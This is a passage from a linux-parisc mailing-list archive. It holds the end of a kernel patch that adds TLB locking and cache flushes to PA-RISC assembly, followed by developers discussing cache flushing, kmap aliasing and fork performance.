 	addib,COND(=)		-1, %arg3, fdoneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fdsync	/* If loop < 0, do sync */
 
 fdmanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fdmanyloop	/* Adjusted inner loop decr */
-	fdce		%r0(%sr1, %arg0)
-	fdce,m		%arg1(%sr1, %arg0)	/* Last fdce and addr adjust */
+	fdce		%r0(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)	/* Last fdce and addr adjust */
 	movb,tr		%arg3, %r31, fdmanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fdsync	/* Outer loop decr */
 
 fdoneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fdoneloop	/* Outer loop count decr */
-	fdce,m		%arg1(%sr1, %arg0)	/* Fdce for one loop */
+	/* Some implementations may flush with a single fdce instruction */
+	cmpib,COND(>>=),n	15, %arg2, fdoneloop2
+
+fdoneloop1:
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	addib,COND(>)	-16, %arg2, fdoneloop1
+	fdce,m		%arg1(%sr2, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fdsync	/* Predict branch taken */
+
+fdoneloop2:
+	addib,COND(>)	-1, %arg2, fdoneloop2	/* Outer loop count decr */
+	fdce,m		%arg1(%sr2, %arg0)	/* Fdce for one loop */
 
 fdsync:
 	syncdma
@@ -277,7 +327,34 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
-ENTRY(copy_user_page_asm)
+/* Macros to serialize TLB purge operations on SMP.  */
+
+	.macro	tlb_lock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock,%r1
+	ldo		R%pa_tlb_lock(%r1),\la
+	rsm		PSW_SM_I,\flags
+1:	LDCW		0(\la),\tmp
+	cmpib,<>,n	0,\tmp,3f
+2:	ldw		0(\la),\tmp
+	cmpb,<>		%r0,\tmp,1b
+	nop
+	b,n		2b
+3:
+#endif
+	.endm
+
+	.macro	tlb_unlock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldi		1,\tmp
+	stw		\tmp,0(\la)
+	mtsm		\flags
+#endif
+	.endm
+
+/* Copy page using kernel mapping.  */
+
+ENTRY(copy_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -399,7 +476,7 @@ ENTRY(copy_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(copy_user_page_asm)
+ENDPROC(copy_page_asm)
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -422,8 +499,6 @@ ENDPROC(copy_user_page_asm)
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
-
 	/*
 	 * We can't do this since copy_user_page is used to bring in
 	 * file data that might have instructions. Since the data would
@@ -435,6 +510,11 @@ ENDPROC(copy_user_page_asm)
 	 * use it if more information is passed into copy_user_page().
 	 * Have to do some measurements to see if it is worthwhile to
 	 * lobby for such a change.
+	 *
+	 * JDA: Added code to flush the data cache, so this function
+	 * now works.  Even with this additional overhead, it may make
+	 * sense to use this function because it should handle dirty
+	 * `from' pages.
 	 */
 
 ENTRY(copy_user_page_asm)
@@ -466,9 +546,83 @@ ENTRY(copy_user_page_asm)
 
 	/* Purge any old translations */
 
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
 	pdtlb		0(%r29)
+	tlb_unlock	%r20,%r21,%r22
+
+	ldil		L%dcache_stride, %r23
+	ldw		R%dcache_stride(%r23), %r23
+
+#ifdef CONFIG_64BIT
+	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
+	 * Unroll the loop by hand and arrange insn appropriately.
+	 * GCC probably can do this just as well.
+	 */
+
+	ldd		0(%r29), %r19
+	ldi		(PAGE_SIZE / 128), %r1
+
+	ldw		64(%r29), %r0		/* prefetch 1 cacheline ahead */
+	ldw		128(%r29), %r0		/* prefetch 2 */
+
+1:	ldd		8(%r29), %r20
+	ldw		192(%r29), %r0		/* prefetch 3 */
+	ldw		256(%r29), %r0		/* prefetch 4 */
+
+	ldd		16(%r29), %r21
+	ldd		24(%r29), %r22
+	std		%r19, 0(%r28)
+	std		%r20, 8(%r28)
+
+	ldd		32(%r29), %r19
+	ldd		40(%r29), %r20
+	std		%r21, 16(%r28)
+	std		%r22, 24(%r28)
+
+	ldd		48(%r29), %r21
+	ldd		56(%r29), %r22
+	std		%r19, 32(%r28)
+	std		%r20, 40(%r28)
+
+	ldd		64(%r29), %r19
+	ldd		72(%r29), %r20
+	std		%r21, 48(%r28)
+	std		%r22, 56(%r28)
+
+	ldd		80(%r29), %r21
+	ldd		88(%r29), %r22
+	std		%r19, 64(%r28)
+	std		%r20, 72(%r28)
+
+	ldd		 96(%r29), %r19
+	ldd		104(%r29), %r20
+	std		%r21, 80(%r28)
+	std		%r22, 88(%r28)
+
+	ldd		112(%r29), %r21
+	ldd		120(%r29), %r22
+	std		%r19, 96(%r28)
+	std		%r20, 104(%r28)
+
+	ldo		128(%r29), %r29
+	std		%r21, 112(%r28)
+	std		%r22, 120(%r28)
+
+	/* Flush lines.  */
+	ldo		128(%r28), %r24
+	fdc,m		%r23(%r28)
+2:	cmpb,COND(<<),n	%r28,%r24,2b
+	fdc,m		%r23(%r28)
 
+	/* conditional branches nullify on forward taken branch, and on
+	 * non-taken backward branch. Note that .+4 is a backwards branch.
+	 * The ldd should only get executed if the branch is taken.
+	 */
+	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
+	ldd		0(%r29), %r19		/* start next loads */
+
+#else
 	ldi		64, %r1
 
 	/*
@@ -480,9 +634,7 @@ ENTRY(copy_user_page_asm)
 	 * use ldd/std on a 32 bit kernel.
 	 */
 
-
-1:
-	ldw		0(%r29), %r19
+1:	ldw		0(%r29), %r19
 	ldw		4(%r29), %r20
 	ldw		8(%r29), %r21
 	ldw		12(%r29), %r22
@@ -514,19 +666,26 @@ ENTRY(copy_user_page_asm)
 	stw		%r20, 52(%r28)
 	stw		%r21, 56(%r28)
 	stw		%r22, 60(%r28)
-	ldo		64(%r28), %r28
+
+	/* Flush lines.  */
+	ldo		64(%r28), %r24
+	fdc,m		%r23(%r28)
+2:	cmpb,COND(<<),n	%r28,%r24,2b
+	fdc,m		%r23(%r28)
+
 	addib,COND(>)		-1, %r1,1b
 	ldo		64(%r29), %r29
+#endif
 
+	sync
 	bv		%r0(%r2)
 	nop
 	.exit
 
 	.procend
 ENDPROC(copy_user_page_asm)
-#endif
 
-ENTRY(__clear_user_page_asm)
+ENTRY(clear_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -550,7 +709,9 @@ ENTRY(__clear_user_page_asm)
 
 	/* Purge any old translation */
 
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
 
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
@@ -580,8 +741,7 @@ ENTRY(__clear_user_page_asm)
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
-	stw		%r0, 0(%r28)
+1:	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
 	stw		%r0, 12(%r28)
@@ -606,7 +766,7 @@ ENTRY(__clear_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(__clear_user_page_asm)
+ENDPROC(clear_user_page_asm)
 
 ENTRY(flush_dcache_page_asm)
 	.proc
@@ -630,7 +790,9 @@ ENTRY(flush_dcache_page_asm)
 
 	/* Purge any old translation */
 
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
 
 	ldil		L%dcache_stride, %r1
 	ldw		R%dcache_stride(%r1), %r1
@@ -663,8 +825,11 @@ ENTRY(flush_dcache_page_asm)
 	fdc,m		%r1(%r28)
 
 	sync
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		0(%r25)
+	tlb_unlock	%r20,%r21,%r22
 	bv		%r0(%r2)
-	pdtlb		(%r25)
+	nop
 	.exit
 
 	.procend
@@ -692,7 +857,9 @@ ENTRY(flush_icache_page_asm)
 
 	/* Purge any old translation */
 
+	tlb_lock	%r20,%r21,%r22
 	pitlb		(%sr0,%r28)
+	tlb_unlock	%r20,%r21,%r22
 
 	ldil		L%icache_stride, %r1
 	ldw		R%icache_stride(%r1), %r1
@@ -725,8 +892,11 @@ ENTRY(flush_icache_page_asm)
 	fic,m		%r1(%r28)
 
 	sync
-	bv		%r0(%r2)
+	tlb_lock	%r20,%r21,%r22
 	pitlb		(%sr0,%r25)
+	tlb_unlock	%r20,%r21,%r22
+	bv		%r0(%r2)
+	nop
 	.exit
 
 	.procend
@@ -775,7 +945,7 @@ ENTRY(flush_kernel_dcache_page_asm)
 	.procend
 ENDPROC(flush_kernel_dcache_page_asm)
 
-ENTRY(purge_kernel_dcache_page)
+ENTRY(purge_kernel_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -815,7 +985,7 @@ ENTRY(purge_kernel_dcache_page)
 	.exit
 
 	.procend
-ENDPROC(purge_kernel_dcache_page)
+ENDPROC(purge_kernel_dcache_page_asm)
 
 ENTRY(flush_user_dcache_range_asm)
 	.proc
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index a7bb757..546c51d 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -159,4 +159,4 @@ EXPORT_SYMBOL(_mcount);
 #endif
 
 /* from pacache.S -- needed for copy_page */
-EXPORT_SYMBOL(copy_user_page_asm);
+EXPORT_SYMBOL(copy_page_asm);
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 12c1ed3..5dd1059 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -314,7 +314,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #if DEBUG_SIG
 	/* Assert that we're flushing in the correct space... */
 	{
-		int sid;
+		unsigned long sid;
 		asm ("mfsp %%sr3,%0" : "=r" (sid));
 		DBG(1,"setup_rt_frame: Flushing 64 bytes at space %#x offset %p\n",
 		       sid, frame->tramp);
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..f0cb56e 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -92,11 +92,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 45b7389..53a1c69 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -76,7 +76,7 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	cycles_elapsed = now - next_tick;
 
-	if ((cycles_elapsed >> 6) < cpt) {
+	if ((cycles_elapsed >> 7) < cpt) {
 		/* use "cheap" math (add/subtract) instead
 		 * of the more expensive div/mul method
 		 */
diff --git a/kernel/irq/chip.c b/kernel/irq/chip.c
index dc5114b..1d6d390 100644
--- a/kernel/irq/chip.c
+++ b/kernel/irq/chip.c
@@ -531,6 +531,7 @@ out_eoi:
 void
 handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 {
+	struct irqaction *action;
 	struct irq_chip *chip = irq_desc_get_chip(desc);
 
 	kstat_incr_irqs_this_cpu(irq, desc);
@@ -538,7 +539,9 @@ handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 	if (chip->irq_ack)
 		chip->irq_ack(&desc->irq_data);
 
-	handle_irq_event_percpu(desc, desc->action);
+	action = desc->action;
+	if (action)
+		handle_irq_event_percpu(desc, action);
 
 	if (chip->irq_eoi)
 		chip->irq_eoi(&desc->irq_data);

--Apple-Mail-5--653579163--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC
Date: Tue, 3 Jan 2012 06:50:01 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <CADZpyiywh8SL42H9nO=9tMXgiyxL4SfmaX6PcZP5Kwme-Ozxsw@mail.gmail.com>
References: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl>
	<CANEJEGv5jOLEywzj52KVsdQHJmXf5GxWDBaJZNnbfnwhYcR23A@mail.gmail.com>
	<BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl>
	<BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1325591412 15592 80.91.229.12 (3 Jan 2012 11:50:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Jan 2012 11:50:12 +0000 (UTC)
Cc: Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 03 12:50:05 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ri2sW-0003Wc-I5
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Jan 2012 12:50:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752582Ab2ACLuD convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jan 2012 06:50:03 -0500
Original-Received: from mail-gy0-f174.google.com ([209.85.160.174]:37150 "EHLO
	mail-gy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752286Ab2ACLuC convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jan 2012 06:50:02 -0500
Original-Received: by ghbg21 with SMTP id g21so3409318ghb.19
        for <linux-parisc@vger.kernel.org>; Tue, 03 Jan 2012 03:50:01 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=/fZmMnBIkfRkZHfnwHMn/fc9K5JYzPj91oICtakbBH4=;
        b=Z7APteGE6KlJ/5B9N5lCl3i56t1Jbct1pUZNX9UISYiLZdaUtGHjFIMmgEcwHHtn63
         gcQyNkP5Y2/OxSalASQg0NlmwSZNTcU+szC4SprPTI4SFWyVVP+gslXI/0/CobYQhuHn
         +BPLzdAS1YiOcqaNZOLlo5KeA03YbgQFZIS+I=
Original-Received: by 10.236.73.129 with SMTP id v1mr64767890yhd.129.1325591401773;
 Tue, 03 Jan 2012 03:50:01 -0800 (PST)
Original-Received: by 10.147.60.6 with HTTP; Tue, 3 Jan 2012 03:50:01 -0800 (PST)
In-Reply-To: <BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl>
X-Google-Sender-Auth: kHaaZOuFPDGk_Ds-SWDVsXeRfZc
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4089
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4089>

On Mon, Jan 2, 2012 at 6:12 PM, John David Anglin <dave.anglin@bell.net=
> wrote:
> None of this worked. =A0Attached patch as it stands. =A0Comments and =
testing
> appreciated.

Could you clarify what you mean by "none of this worked?"

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC
Date: Tue, 03 Jan 2012 10:13:30 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <4F031B1A.4010908@bell.net>
References: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl> <CANEJEGv5jOLEywzj52KVsdQHJmXf5GxWDBaJZNnbfnwhYcR23A@mail.gmail.com> <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl> <BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl> <CADZpyiywh8SL42H9nO=9tMXgiyxL4SfmaX6PcZP5Kwme-Ozxsw@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1325603600 5016 80.91.229.12 (3 Jan 2012 15:13:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Jan 2012 15:13:20 +0000 (UTC)
Cc: Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 03 16:13:15 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ri635-0000OY-Vx
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Jan 2012 16:13:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753726Ab2ACPNL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jan 2012 10:13:11 -0500
Original-Received: from mail16.primus.ca ([216.254.141.183]:46402 "EHLO
	mail-10.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753418Ab2ACPNL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jan 2012 10:13:11 -0500
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.129])
	by mail-10.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1Ri633-0006AW-1E; Tue, 03 Jan 2012 10:13:09 -0500
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20111105 Thunderbird/8.0
In-Reply-To: <CADZpyiywh8SL42H9nO=9tMXgiyxL4SfmaX6PcZP5Kwme-Ozxsw@mail.gmail.com>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.129]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4090
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4090>

On 1/3/2012 6:50 AM, Carlos O'Donell wrote:
> On Mon, Jan 2, 2012 at 6:12 PM, John David Anglin<dave.anglin@bell.net>  wrote:
>> None of this worked.  Attached patch as it stands.  Comments and testing
>> appreciated.
> Could you clarify what you mean by "none of this worked?"
>

I tried eliminating the flushes that occur in kunmap_atomic on PA8800 
and PA8900
after the calls to clear_user_page and copy_user_page by defining 
clear_user_highpage
and copy_user_highpage.  I had thought the flushes weren't necessary.  
There's something
about this that I don't understand.  Why do we need to flush 
non-equivalent page mappings
that aren't used?

Also tried:
#define flush_cache_dup_mm(mm)        do { } while (0)

In both cases, init died causing a panic at boot.  Maybe there's 
something missing at
startup.

Most arch's have the above define for flush_cache_dup_mm.  Our define 
really hurts
fork performance.  The GCC testsuite takes almost twice as long to run 
on linux as hpux.
On the other hand, build times are fairly comparable.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC
Date: Tue, 03 Jan 2012 09:32:05 -0600
Lines: 54
Approved: news@gmane.org
Message-ID: <1325604725.3185.3.camel@dabdike.int.hansenpartnership.com>
References: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl>
	 <CANEJEGv5jOLEywzj52KVsdQHJmXf5GxWDBaJZNnbfnwhYcR23A@mail.gmail.com>
	 <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl>
	 <BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl>
	 <CADZpyiywh8SL42H9nO=9tMXgiyxL4SfmaX6PcZP5Kwme-Ozxsw@mail.gmail.com>
	 <4F031B1A.4010908@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1325604737 13539 80.91.229.12 (3 Jan 2012 15:32:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Jan 2012 15:32:17 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 03 16:32:13 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ri6LQ-0000pl-N1
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Jan 2012 16:32:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753792Ab2ACPcI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jan 2012 10:32:08 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:41474 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753827Ab2ACPcH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jan 2012 10:32:07 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id F189B8EE0E3;
	Tue,  3 Jan 2012 07:32:06 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id bgDRPmLxc45C; Tue,  3 Jan 2012 07:32:06 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 4BD8A8EE0A3;
	Tue,  3 Jan 2012 07:32:06 -0800 (PST)
In-Reply-To: <4F031B1A.4010908@bell.net>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4091
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4091>

On Tue, 2012-01-03 at 10:13 -0500, John David Anglin wrote:
> On 1/3/2012 6:50 AM, Carlos O'Donell wrote:
> > On Mon, Jan 2, 2012 at 6:12 PM, John David Anglin<dave.anglin@bell.net>  wrote:
> >> None of this worked.  Attached patch as it stands.  Comments and testing
> >> appreciated.
> > Could you clarify what you mean by "none of this worked?"
> >
> 
> I tried eliminating the flushes that occur in kunmap_atomic on PA8800 
> and PA8900
> after the calls to clear_user_page and copy_user_page by defining 
> clear_user_highpage
> and copy_user_highpage.  I had thought the flushes weren't necessary.  
> There's something
> about this that I don't understand.  Why do we need to flush 
> non-equivalent page mappings
> that aren't used?

But they are used:  Your work makes sure that all user space mappings
are equivalent.  However, because of the way Linux sets up kernel
mappings (from the pfn array and offsets) the user virtual address and
kernel virtual address almost never are.  kmap is exclusively used so
the kernel can access a user page, and at that point, we need to flush
because we've set up an inequivalent alias (even if it's only done for
read)

kmap/kmap_atomic is used in more than just copy/flush ... or did you
mean that you removed the kmap calls in copy/flush and the whole thing
doesn't work (rather than as you imply you removed the flush in kunmap?)

> Also tried:
> #define flush_cache_dup_mm(mm)        do { } while (0)
> 
> In both cases, init died causing a panic at boot.  Maybe there's 
> something missing at
> startup.
> 
> Most arch's have the above define for flush_cache_dup_mm.  Our define 
> really hurts
> fork performance.  The GCC testsuite takes almost twice as long to run 
> on linux as hpux.
> On the other hand, build times are fairly comparable.

I'll look into this, but I fear, because of the way the pa cache is
tagged, we'll have to keep the flush (same goes for flush_cache_mm).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC
Date: Tue, 03 Jan 2012 09:32:20 -0600
Lines: 54
Approved: news@gmane.org
Message-ID: <1325604740.3185.4.camel@dabdike.int.hansenpartnership.com>
References: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl>
	 <CANEJEGv5jOLEywzj52KVsdQHJmXf5GxWDBaJZNnbfnwhYcR23A@mail.gmail.com>
	 <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl>
	 <BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl>
	 <CADZpyiywh8SL42H9nO=9tMXgiyxL4SfmaX6PcZP5Kwme-Ozxsw@mail.gmail.com>
	 <4F031B1A.4010908@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1325604755 13647 80.91.229.12 (3 Jan 2012 15:32:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 3 Jan 2012 15:32:35 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 03 16:32:28 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ri6Le-0000pl-H8
	for glpp-linux-parisc@lo.gmane.org; Tue, 03 Jan 2012 16:32:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753827Ab2ACPcW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jan 2012 10:32:22 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:41487 "EHLO
